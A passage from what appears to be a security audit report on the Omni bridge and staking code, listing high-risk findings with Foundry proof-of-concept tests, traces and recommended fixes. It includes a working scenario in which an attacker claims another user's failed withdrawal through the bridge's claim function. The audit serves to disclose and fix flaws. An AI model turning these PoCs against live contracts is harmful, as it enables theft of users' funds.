import { console } from "forge-std/console.sol";

contract MaliciousReceiver {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    fallback() external {
```

```
        revert("MaliciousReceiver: NOT ALLOWED");
    }

    receive() external payable {
        revert("MaliciousReceiver: NOT ALLOWED");
    }
}

contract StealFundsFromOmniNativeBridge is OmniBridgeNative_Test {
    // @note- pending writeup
    MaliciousReceiver pwner_rec_contract = new MaliciousReceiver();

    function test_steal_funds_via_claim() public {
        address pwner = makeAddr("pwner");
        address alice = makeAddr("alice");

        address malicious_receiver = address(pwner_rec_contract);
        uint256 l1BridgeBalance = 100e18;
        uint64 gasLimit = l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();

        vm.deal(alice, 10_000e18);
        assertEq(address(alice).balance, 10_000e18);
        assertEq(address(pwner).balance, 0);
        // vm.deal(address(pwner), 10_000e18);

        console.log("Balance of Bridge before alice calls withdraw: ", address(b).balance / 1 ether, "ether");
        console.log("Balance of Alice before calling withdraw: ", address(alice).balance / 1 ether, "ether");
        console.log("Balance of Pwner before stealing: ", address(pwner).balance / 1 ether, "ether");
        console.log("\n --- Alice submits a withdrawal Request ---");

        vm.expectEmit();
        emit OmniBridgeNative.Withdraw(alice, malicious_receiver, address(alice).balance, false);

        // @note - below xcall is one of the scenarios where the transfer of ether may fail (ex: missing
↪   callback, too much gas consumed, reverting callbacks)
        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(l1Bridge),
            to: address(b),
            data: abi.encodeCall(
                OmniBridgeNative.withdraw, (alice, malicious_receiver, address(alice).balance, l1BridgeBalance)
            ),
            gasLimit: gasLimit
        });

        console.log("\n --- Alice's withdrawal fails, setting claimable mapping ---\n");
        vm.prank(pwner);
        console.log("\n --- Pwner observers failed withdrawal and steals the funds ---\n");
        vm.expectEmit();
        emit OmniBridgeNative.Claimed(alice, pwner, address(alice).balance);

        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(alice),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.claim, (pwner)),
            gasLimit: gasLimit
        });
        assertEq(address(pwner).balance, 10_000e18);
        console.log("Balance of Pwner after stealing: ", address(pwner).balance / 1 ether, "ether");

        console.log("\n --- Alice tries claiming the funds, call reverts with 'OmniBridge: nothing to claim'
↪   ---\n");
        vm.expectRevert("OmniBridge: nothing to claim");
        vm.prank(address(alice));
        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(alice),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.claim, (alice)),
            gasLimit: gasLimit
        });
    }
}
```

Execute the command to run test:

- Change Directory in the root folder with:

```
cd contracts/core/
```

- Run the PoC

```
forge test --mt test_steal_funds_via_claim -vvvv
```

Results of Running the test

```
$ forge test --mt test_steal_funds_via_claim -vvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/token/StealFunds.t.sol:StealFundsFromOmniNativeBridge
[PASS] test_steal_funds_via_claim() (gas: 183591)
Logs:
  Balance of Bridge before alice calls withdraw:  100000000 ether
  Balance of Alice before calling withdraw:  10000 ether
  Balance of Pwner before stealing:  0 ether

 --- Alice submits a withdrawal Request ---

 --- Alice's withdrawal fails, setting claimable mapping ---


 --- Pwner observers failed withdrawal and steals the funds ---

  Balance of Pwner after stealing:  10000 ether

 --- Alice tries claiming the funds, call reverts with 'OmniBridge: nothing to claim' ---


Traces:
  [234754] StealFundsFromOmniNativeBridge::test_steal_funds_via_claim()
    [0] VM::addr(<pk>) [staticcall]
        [Return] pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f]
    [0] VM::label(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], "pwner")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]
    [0] VM::label(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], "alice")
        [Return]
    [271] OmniBridgeL1::XCALL_WITHDRAW_GAS_LIMIT() [staticcall]
        [Return] 80000 [8e4]
    [0] VM::deal(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 100000000000000000000 [1e22])
        [Return]
    [0] VM::assertEq(100000000000000000000 [1e22], 100000000000000000000 [1e22]) [staticcall]
        [Return]
    [0] VM::assertEq(0, 0) [staticcall]
        [Return]
    [0] console::log("Balance of Bridge before alice calls withdraw: ", 100000000 [1e8], "ether") [staticcall]
        [Stop]
    [0] console::log("Balance of Alice before calling withdraw: ", 10000 [1e4], "ether") [staticcall]
        [Stop]
    [0] console::log("Balance of Pwner before stealing: ", 0, "ether") [staticcall]
        [Stop]
    [0] console::log("\n --- Alice submits a withdrawal Request ---") [staticcall]
        [Stop]
    [0] VM::expectEmit()
        [Return]
    emit Withdraw(payor: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: MaliciousReceiver:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], amount: 100000000000000000000 [1e22], success: false)
    [98276] MockPortal::mockXCall(1, OmniBridgeL1: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x7bfe950c000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6000000000000000000000000005615deb7
↪  98bb3e4dfa0139dfa1b3d433cc23b72f000000000000000000000000000000000000000000000021e19e0c9bab2400000000000000
↪  0000000000000000000000000000000000000056bc75e2d63100000, 80000
↪  [8e4])
        [71888] TransparentUpgradeableProxy::withdraw(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  MaliciousReceiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e22],
↪  10000000000000000000 [1e20])
```

```
          [66928] OmniBridgeNativeHarness::withdraw(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  MaliciousReceiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e22],
↪  100000000000000000000 [1e20]) [delegatecall]
             [506] MockPortal::xmsg() [staticcall]
                 [Return] MsgContext({ sourceChainId: 1, sender: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a })
             [161] MaliciousReceiver::receive{value: 100000000000000000000}()
                 [Revert] revert: MaliciousReceiver: NOT ALLOWED
            emit Withdraw(payor: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: MaliciousReceiver:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], amount: 100000000000000000000 [1e22], success: false)
              [Stop]
          [Return]
        [Return] 72247 [7.224e4]
    [0] console::log("\n --- Alice's withdrawal fails, setting claimable mapping ---\n") [staticcall]
        [Stop]
    [0] VM::prank(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
        [Return]
    [0] console::log("\n --- Pwner observers failed withdrawal and steals the funds ---\n") [staticcall]
        [Stop]
    [0] VM::expectEmit()
        [Return]
    emit Claimed(claimant: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: pwner:
↪  [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], amount: 100000000000000000000 [1e22])
    [59608] MockPortal::mockXCall(1, alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x1e83409a0000000000000000000000000d13781789acab73dfdce29003ea7f95cfd3260f, 80000 [8e4])
       [37238] TransparentUpgradeableProxy::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
          [36793] OmniBridgeNativeHarness::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
↪  [delegatecall]
             [506] MockPortal::xmsg() [staticcall]
                 [Return] MsgContext({ sourceChainId: 1, sender: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6 })
             [0] pwner::fallback{value: 100000000000000000000}()
                 [Stop]
            emit Claimed(claimant: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: pwner:
↪  [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], amount: 100000000000000000000 [1e22])
              [Stop]
          [Return]
        [Return] 37579 [3.757e4]
    [0] VM::assertEq(100000000000000000000 [1e22], 100000000000000000000 [1e22]) [staticcall]
        [Return]
    [0] console::log("Balance of Pwner after stealing: ", 10000 [1e4], "ether") [staticcall]
        [Stop]
    [0] console::log("\n --- Alice tries claiming the funds, call reverts with 'OmniBridge: nothing to claim'
↪  ---\n") [staticcall]
        [Stop]
    [0] VM::expectRevert(custom error 0xf28dceb3:  OmniBridge: nothing to claim)
        [Return]
    [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
        [Return]
    [25677] MockPortal::mockXCall(1, alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x1e83409a000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6, 80000 [8e4])
       [3258] TransparentUpgradeableProxy::claim(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
          [2797] OmniBridgeNativeHarness::claim(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
↪  [delegatecall]
             [506] MockPortal::xmsg() [staticcall]
                 [Return] MsgContext({ sourceChainId: 1, sender: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6 })
              [Revert] revert: OmniBridge: nothing to claim
          [Revert] revert: OmniBridge: nothing to claim
        [Revert] revert: OmniBridge: nothing to claim
      [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms (457.00s CPU time)

Ran 1 test suite in 7.19ms (1.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

- Recommendation

I cannot think of a fix without changing a huge chunk of code, but my recommendation would be to add a access control mechanism or validity check of some sort For example: Only L1Bridge can call claim on behalf of a user.

```
+  require(xmsg.sender == address(l1Bridge),"OmniBridge: xmsg not from L1-Bridge");
```

3.1.13 Non-deterministic map iteration in `saveUnsafe` causes inconsistent state across nodes

Severity: High Risk

Context: voter.go#L724-L731

- Summary

The `saveUnsafe` function in the `Voter` struct handles the persistence of vote-related state in the system. However, it writes the `Latest` votes in a non-deterministic order due to the inherent randomness in Go's map iteration. This could lead to inconsistent behavior across nodes when the persisted state is reloaded or compared, potentially causing false discrepancies in consensus-critical systems.

- Finding Description

The `saveUnsafe` function uses `latestToJSON` to convert the `latest` map (*which stores the latest votes per chain*) into a slice. Since Go does not guarantee a consistent iteration order over maps, the resulting slice will have an unpredictable order of votes between different invocations. The current implementation does not sort this slice before saving, leading to a non-deterministic representation of the state in the persisted JSON file. While the vote data remains the same, the order of entries in the JSON output could differ between saves.

This non-deterministic behavior could affect the integrity of the system in cases where nodes rely on consistent state comparison (*such as in consensus protocols or backup/restore operations*). It might also create confusion when manually reviewing or comparing state files.

- Impact Explanation

The primary impact of this issue is on the consistency of state storage & synchronization between nodes:

- **Inconsistent State Representation**: The lack of deterministic ordering in the `Latest` votes can result in different JSON outputs for the same set of votes, even when no meaningful changes have occurred. This inconsistency could lead to false-positive discrepancies when comparing state files across nodes in a distributed system.
- **Potential for Consensus or Backup Issues**: Systems relying on consistent state across nodes (*such as consensus algorithms*) could face issues if discrepancies are flagged due to inconsistent ordering in the `Latest` votes. Similarly, backup/restore processes could misinterpret differences in state due to this random ordering.

- Likelihood Explanation

The likelihood of this issue causing problems is **moderate to high** because distributed systems require consistent state across all nodes. If the order of votes changes between runs due to non-deterministic map iteration, it can lead to discrepancies when nodes compare their states or try to synchronize. While the core voting logic isn't directly affected, these inconsistencies could cause validation failures, complicate backups, or disrupt the consensus process, making it a significant risk in environments that expect strict state consistency.

- Proof of Concept

The issue stems from the use of Go's map iteration in `latestToJSON`, which is inherently non-deterministic. The following code illustrates the problem:

```
func latestToJSON(latest map[xchain.ChainVersion]*types.Vote) []*types.Vote {
    resp := make([]*types.Vote, 0, len(latest))
    for _, v := range latest {
        resp = append(resp, v)
    }
    // Resulting order is non-deterministic due to random map iteration
    return resp
}
```

Since the order in which the `latest` map is iterated is random, each invocation of `saveUnsafe` could result in a different order for the `Latest` votes in the JSON output.

- Recommendation

To resolve this issue, it is recommended to introduce deterministic sorting of the `Latest` votes before they are written to disk. Specifically, the slice produced by `latestToJSON` should be sorted by `ChainId` and `AttestOffset` to ensure consistency.

Here's an updated version of the `latestToJSON` function that includes sorting:

```
func latestToJSON(latest map[xchain.ChainVersion]*types.Vote) []*types.Vote {
    resp := make([]*types.Vote, 0, len(latest))
    for _, v := range latest {
        resp = append(resp, v)
    }

    // Sort by ChainId and AttestOffset to ensure deterministic order
    sort.Slice(resp, func(i, j int) bool {
        if resp[i].BlockHeader.ChainId != resp[j].BlockHeader.ChainId {
            return resp[i].BlockHeader.ChainId < resp[j].BlockHeader.ChainId
        }
        return resp[i].AttestHeader.AttestOffset < resp[j].AttestHeader.AttestOffset
    })

    return resp
}
```

3.1.14 Potential to Replay messages on OmniPortal multiple times leading to double spending

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description `OmniPortal::xsubmit` function is a public function that can be called by any one to submit a batch of XMsgs to be executed on this chain.

The `xsubmit` validates the submitted messages for quorum and merkle tree. If both these conditions are met, the xsubmit function will process the transaction by calling `_exec` function on each of the XMsgs.

There is no protection against replaying the same XMsgs multiple times which means `xsubmit` function can be called multiple times with exact same parameter set which should go through successfully.

The vulnerability arises from a potential for replay attack which could benefit the attacker if the attacker was suppose to receive funds through a message set. If he replays the same message set by calling `xsubmit` again, as long as the transactions do not revert, there is a potential to receive the funds twice.

- Recommendation

To protect against replay attacks, systems typically incorporate some form of unique identifier or sequence number in each transaction that cannot be reused.

3.1.15 Insufficient L1 Balance Check Leading to Unauthorized Claimable Addition

Severity: High Risk

Context: OmniBridgeNative.sol#L78, OmniBridgeNative.sol#L95-L112

- Summary The `withdraw` function in the `OmniBridgeNative` contract allows users to withdraw without verifying whether the L1 balance (`l1BridgeBalance`) is sufficient. This can lead to unauthorized additions to the `claimable` mapping, allowing users to claim more tokens than they actually have in L1.
- Finding Description The line `l1BridgeBalance = l1Balance;` only updates the local state variable `l1BridgeBalance`. The absence of a check to ensure that `l1BridgeBalance` is greater than or equal to the `amount` requested for withdrawal allows users to add amounts to the `claimable` even when the L1 balance is insufficient.

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
        require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

        // Missing check

@=>     l1BridgeBalance = l1Balance;

        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success);
    }
```

The problem arises because the function does not check if `l1Balance` is sufficient before attempting a withdrawal and adding to `claimable`.

- Impact Explanation Users can claim more tokens than they actually possess on L1.
- Scenario

1. A user attempts to withdraw 1 ether from L1 to Omni.
2. The `l1BridgeBalance` is 0, meaning there is no liquidity available on L1.
3. The withdrawal fails due to insufficient balance, but the amount is still added to `claimable`.
4. The user can later claim this 1 ether on Omni, even though they did not have it on L1.

- Proof of Concept Add this to `OmniBridgeNative.t.sol` and run it `forge test --match-test test_withdraw_insufficientL1Balance -vvvv`.


```
contract OmniBridgeNative_ClaimFunctionalityTest is Test {
    OmniBridgeNativeHarness b;
    MockPortal portal;
    OmniBridgeL1 l1Bridge;
    address owner;
    uint64 l1ChainId; // Declare l1ChainId as a state variable

    // Declare the Claimed and Withdraw events
    event Claimed(address indexed claimant, address indexed to, uint256 amount);
    event Withdraw(address indexed payor, address indexed to, uint256 amount, bool success);

    function setUp() public {
        portal = new MockPortal();
        l1Bridge = new OmniBridgeL1(makeAddr("token"));
        owner = makeAddr("owner");

        address impl = address(new OmniBridgeNativeHarness());
        b = OmniBridgeNativeHarness(
            address(
                new TransparentUpgradeableProxy(
                    impl, owner, abi.encodeWithSelector(OmniBridgeNative.initialize.selector, (owner))
                )
            )
        );

        vm.prank(owner);
        b.setup(1, address(portal), address(l1Bridge));
        vm.deal(address(b), 100 ether);

        l1ChainId = 1; // Initialize l1ChainId
    }

    function test_withdraw_insufficientL1Balance() public {
        address payor = makeAddr("payor");
        address noReceiver = address(new NoReceive()); // Use a contract that cannot receive funds
        uint256 amount = 1e18; // Amount to withdraw
```

```
        uint256 initialL1BridgeBalance = 0; // Initial L1 balance is 0

        // Set L1 balance to 0 to simulate no liquidity
        b.setL1BridgeBalance(initialL1BridgeBalance);

        // Log the claimable amount before the transaction
        uint256 initialClaimableAmount = b.claimable(payor);
        console.log("Claimable amount before failed transaction:", initialClaimableAmount);

        // Expect the Withdraw event to be emitted with success=false
        vm.expectEmit(true, true, true, true);
        emit Withdraw(payor, noReceiver, amount, false);

        // Simulate xcall from l1Bridge
        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(l1Bridge),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.withdraw, (payor, noReceiver, amount,
↪   initialL1BridgeBalance)),
            gasLimit: l1Bridge.XCALL_WITHDRAW_GAS_LIMIT()
        });

        // Verify that the amount is added to claimable
        uint256 claimableAmount = b.claimable(payor);
        assertEq(claimableAmount, amount);

        // Log the claimable amount after the transaction
        console.log("Claimable amount after failed transaction:", claimableAmount);

        // Verify that the L1 balance remains 0
        assertEq(b.l1BridgeBalance(), initialL1BridgeBalance);
    }
}
```

```
Logs:
  Claimable amount before failed transaction: 0
  Claimable amount after failed transaction: 10000000000000000000
```

- Recommendation Add a check to ensure that the L1 balance is sufficient before processing the withdrawal and adding to `claimable`.

```
function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
    external
    whenNotPaused(ACTION_WITHDRAW)
{
    XTypes.MsgContext memory xmsg = omni.xmsg();

    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

    // Add L1 balance check
+   require(amount > 0, "OmniBridge: amount must be greater than zero");
+   require(l1Balance >= amount, "OmniBridge: insufficient L1 balance");

    l1BridgeBalance = l1Balance;

    (bool success,) = to.call{ value: amount }("");

    if (!success) {
        claimable[payor] += amount;
    }

    emit Withdraw(payor, to, amount, success);
}
```

3.1.16 Potential for DOS attack for a particular sourceChainId and shardId

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description In the `OmniPortal::_exec` function, the message instruction is executed. For the message instruction to get executed successfully, the offset for the msg have to match with the internal `inXMsgOffset` mapping maintained in the storage.

Refer to the below require condition where offset of the msg has to match with the incremented value of `inXMsgOffset[sourceChainId][shardId]` read from the mapping.

```
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

As an attacker, I can create and submit a message instruction that it routed to an contract external contract that consumes all the gas available.

So, when the function logic hits the below code, the call will flow to '_call' due to the instruction configured by the attacker.

```
(bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪  VirtualPortalAddress are syscalls
        ? _syscall(xmsg_.data)
        : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
```

And in the call, as the called contract consumes all the gas available leading to `OutOfGas` exception. This will result in a revert.

```
function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
    uint256 gasLeftBefore = gasleft();

    // use excessivelySafeCall for external calls to prevent large return bytes mem copy
    (bool success, bytes memory result) =
        to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
        ↪  data });

    uint256 gasLeftAfter = gasleft();

    // Ensure relayer sent enough gas for the call
    // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
    ↪  c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
    if (gasLeftAfter <= gasLimit / 63) {
        // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
        ↪  exception
        assembly {
            invalid()
        }
    }

    return (success, result, gasLeftBefore - gasLeftAfter);
}
```

Now, as the transaction is reverted, the offset will not be incremented and subsequent messages will not be processed as the offset will not match in the above require statement.

```
inXMsgOffset[sourceChainId][shardId] += 1;
```

This approach can be applied to all source chain ids.

- Recommendation

3.1.17 OMNI tokens that fail to be withdrawn will be locked forever

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description When tokens fail withdrawal on OMNI chain, the amount is saved in the `claimable` variable for the `payor to be claimed later using the` claim(...)' function.

```
File: OmniBridgeNative.sol
095:     function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
096:         external
097:         whenNotPaused(ACTION_WITHDRAW)
098:     {
// SNIP .......
106:
107:         (bool success,) = to.call{ value: amount }("");
108:
109:   @>    if (!success) claimable[payor] += amount;
110:
111:         emit Withdraw(payor, to, amount, success);
112:     }


158:     function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
159:         XTypes.MsgContext memory xmsg = omni.xmsg();
160:
161:   @>    require(msg.sender == address(omni), "OmniBridge: not xcall");
162:   @>    require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
163:   @>    require(to != address(0), "OmniBridge: no claim to zero");
164:
// SNIP      .....
175:     }
```

The problem is that the `claim(...)` function can only be called from the L1 bridge, but unfortunately, there is no function exposed in the L1 brigde to ensure `claim(...)` can be called for the users to receive their tokens on L2 at a specified `to` address. Thus causing their funds deposited on the L1 to be stuck without a way to withdraw.

- Impact Tokens will be stuck on L1 without a way to withdraw
- Recommendation Implement a function on L1 to enable users claim their tokens when withdrawals fail on `OMNIBridgeNative`

3.1.18 Incorrect check inside PrepareProposal

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description

Inside `PrepareProposal`, we have the following codeblock:

```
if uint64(req.Height) != height { //nolint:nestif // Not an issue
    // Create a new payload (retrying on network errors).
    err := retryForever(ctx, func(ctx context.Context) (bool, error) {
        fcr, err := k.startBuild(ctx, appHash, req.Time)
        if err != nil {
            log.Warn(ctx, "Preparing proposal failed: build new evm payload (will retry)", err)
            return false, nil // Retry
        } else if fcr.PayloadStatus.Status != engine.VALID {
            return false, errors.New("status not valid") // Abort, don't retry
        } else if fcr.PayloadID == nil {
            return false, errors.New("missing payload ID [BUG]") // Abort, don't retry
        }

        payloadID = *fcr.PayloadID

        return true, nil // Done
    })
    if err != nil {
        return nil, err
    }
    triggeredAt = time.Now()
} else {
    log.Debug(ctx, "Using optimistic payload", "height", height, "payload", payloadID.String())
}
```

Inside `retryForever`, the anonymous function has three conditional statements:

```
        if err != nil {
            log.Warn(ctx, "Preparing proposal failed: build new evm payload (will retry)", err)
            return false, nil // Retry
        } else if fcr.PayloadStatus.Status != engine.VALID {
            return false, errors.New("status not valid") // Abort, don't retry
        } else if fcr.PayloadID == nil {
            return false, errors.New("missing payload ID [BUG]") // Abort, don't retry
        }
```

1. `if err != nil` -> **retry**
2. `fcr.PayloadStatus.Status != engine.VALID` -> **abort**
3. `fcr.PayloadID == nil` -> **abort**

The problem however, is that the return values that can trigger the second/third conditional statements all have a `non-nill` error accompanied with them.

This means that in the case of the second conditional statement, even though the `fcr.PayloadID.Status == engine.INVALID`, it will still **retry**. This also applies to the third conditional statement, even though `fcr.PayloadID == nil`, the `err` will also be `!= nil`, resulting in a **retry**.

When we look at the function called inside `retryForever`, we see it's `startBuild`. This is the key part:

```
resp, err := k.engineCl.ForkchoiceUpdatedV3(ctx, fcs, attrs)
if err != nil {
    return engine.ForkChoiceResponse{}, errors.Wrap(err, "forkchoice update")
}
```

If `ForkchoiceUpdatedV3` fails, it returns an empty response(**not nil**) and an error.

This means that even though geth returns an `engine.INVALID`:

- https://github.com/ethereum/go-ethereum/blob/a5fe7353cff959d6fcfcdd9593de19056edb9bdb/eth/catalyst/api.go#L233-L250

It will still retry and not abort.

Note that inside the `PrepareProposal()` function, further down the code, the `retryForever` function is used again:

```
    err = retryForever(ctx, func(ctx context.Context) (bool, error) {
        var err error
        payloadResp, err = k.engineCl.GetPayloadV3(ctx, payloadID)
        if isUnknownPayload(err) {
            return false, err // Abort, don't retry
        } else if err != nil {
            log.Warn(ctx, "Preparing proposal failed: get evm payload (will retry)", err)
            return false, nil // Retry
        }

        return true, nil // Done
    })
    if err != nil {
        return nil, err
    }
```

However, this time it is correctly implemented. The first conditional statement checks for `isUnknownPayload`, instead of checking for `err != nil`. Here, it will correctly abort if its an unknown payload.

Recommendation: Swap the conditional statements around.

3.1.19 Deposit can be lost

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description If we look at the `deliverDelegate` function we see the following comment:

```
// // NOTE: if we error, the deposit is lost (on EVM). consider recovery methods.
```

Now if we look at the function there are many places where this function can error:

```
func (p EventProcessor) deliverDelegate(ctx context.Context, ev *bindings.StakingDelegate) error {
=>  if ev.Delegator != ev.Validator {
        return errors.New("only self delegation")
    }

    delAddr := sdk.AccAddress(ev.Delegator.Bytes())
    valAddr := sdk.ValAddress(ev.Validator.Bytes())

=>  if _, err := p.sKeeper.GetValidator(ctx, valAddr); err != nil {
        return errors.New("validator does not exist", "validator", valAddr.String())
    }

    amountCoin, amountCoins := omniToBondCoin(ev.Amount)

    p.createAccIfNone(ctx, delAddr)

=>  if err := p.bKeeper.MintCoins(ctx, ModuleName, amountCoins); err != nil {
        return errors.Wrap(err, "mint coins")
    }

=>  if err := p.bKeeper.SendCoinsFromModuleToAccount(ctx, ModuleName, delAddr, amountCoins); err != nil {
        return errors.Wrap(err, "send coins")
    }

    log.Info(ctx, "EVM staking delegation detected, delegating",
        "delegator", ev.Delegator.Hex(),
        "validator", ev.Validator.Hex(),
        "amount", ev.Amount.String())

    // Validator already exists, add deposit to self delegation
    msg := stypes.NewMsgDelegate(delAddr.String(), valAddr.String(), amountCoin)
    _, err := skeeper.NewMsgServerImpl(p.sKeeper).Delegate(ctx, msg)
=>  if err != nil {
        return errors.Wrap(err, "delegate")
    }

    return nil
}
```

It is reasonable to assume that an error could occur, leading to a loss of deposit.

While it's unclear whether this comment was intended as a reminder for the developers and later overlooked, it has not been mentioned anywhere in the out of scope documentation.

- Recommendation consider mitigating this issue.

3.1.20 Duplicate Validator Public Key Registration

Severity: High Risk

Context: Staking.sol#L89-L95

- Summary The `Staking` contract allows multiple validators to be registered with the same public key (`pubkey`). This vulnerability can lead to significant issues in the consensus mechanism, including manipulation of validator identities and voting power.
- Finding Description `require(pubkey.length == 33, "Staking: invalid pubkey length");` only ensures that the length of the given `pubkey` is exactly `33 bytes`. The `createValidator` function does not check the uniqueness of the `pubkey` before allowing new validators to register. This allows validators to use the same `pubkey`, which can compromise the integrity of the staking system.

```
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
@=>     require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        // No Unique pubkey Check

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

- Impact Explanation Multiple validators with the same `pubkey` can manipulate voting processes, potentially skewing results or gaining unfair advantages.
- Scenario

1. Validator A registers with a certain `pubkey` and meets all the requirements.
2. Validator B, with malicious intent, registers using the same `pubkey` as Validator A.
3. Both validators are now considered valid, despite using the same `pubkey`, which can lead to manipulation in the consensus process.

- Proof of Concept Add this to `Staking.t.sol` and run it `forge test --match-test test_duplicatePubkeyWithoutCheck -vvvv`.

```
    function setUp() public {
        owner = makeAddr("owner");
        staking = new StakingHarness(owner);

        assertEq(staking.owner(), owner, "Owner should be correctly set");
    }

    function test_duplicatePubkeyWithoutCheck() public {
        address validator1 = makeAddr("validator1");
        address validator2 = makeAddr("validator2");
        bytes memory pubkey = abi.encodePacked(hex"03", keccak256("pubkey"));
        uint256 deposit = staking.MinDeposit();

        // Setup initial conditions
        vm.deal(validator1, deposit);
        vm.deal(validator2, deposit);

        // Enable allowlist and add validators
        address[] memory validators = new address[](2);
        validators[0] = validator1;
        validators[1] = validator2;

        // Verify before enabling allowlist
        assertEq(staking.owner(), owner, "Owner should be correctly set before enabling allowlist");

        vm.prank(owner);
        staking.enableAllowlist();
```

```
        vm.prank(owner);
        staking.allowValidators(validators);

        // Validator1 creates a validator with a specific pubkey
        vm.prank(validator1);
        staking.createValidator{ value: deposit }(pubkey);

        // Validator2 creates another validator with the same pubkey
        vm.expectEmit();
        emit CreateValidator(validator2, pubkey, deposit);
        vm.prank(validator2);
        staking.createValidator{ value: deposit }(pubkey);
    }
```

```
log:
        emit ValidatorAllowed(validator: validator1: [0x79492bD49B1F7B86B23C8c6405Bf1474BEd33CF9])
        emit ValidatorAllowed(validator: validator2: [0x1991F8B5b0cCc1B24B0C07884bEC90188f9FC07C])
         [Stop]
     [0] VM::prank(validator1: [0x79492bD49B1F7B86B23C8c6405Bf1474BEd33CF9])
         [Return]
     [3469] StakingHarness::createValidator{value:
↪  10000000000000000000}(0x0336b231909642a65d3820ecb948d06421848c4a51f3f425ea699aaf2951f46baa)
        emit CreateValidator(validator: validator1: [0x79492bD49B1F7B86B23C8c6405Bf1474BEd33CF9], pubkey:
↪  0x0336b231909642a65d3820ecb948d06421848c4a51f3f425ea699aaf2951f46baa, deposit: 10000000000000000000
↪  [1e20])
         [Stop]
     [0] VM::expectEmit()
         [Return]
     emit CreateValidator(validator: validator2: [0x1991F8B5b0cCc1B24B0C07884bEC90188f9FC07C], pubkey:
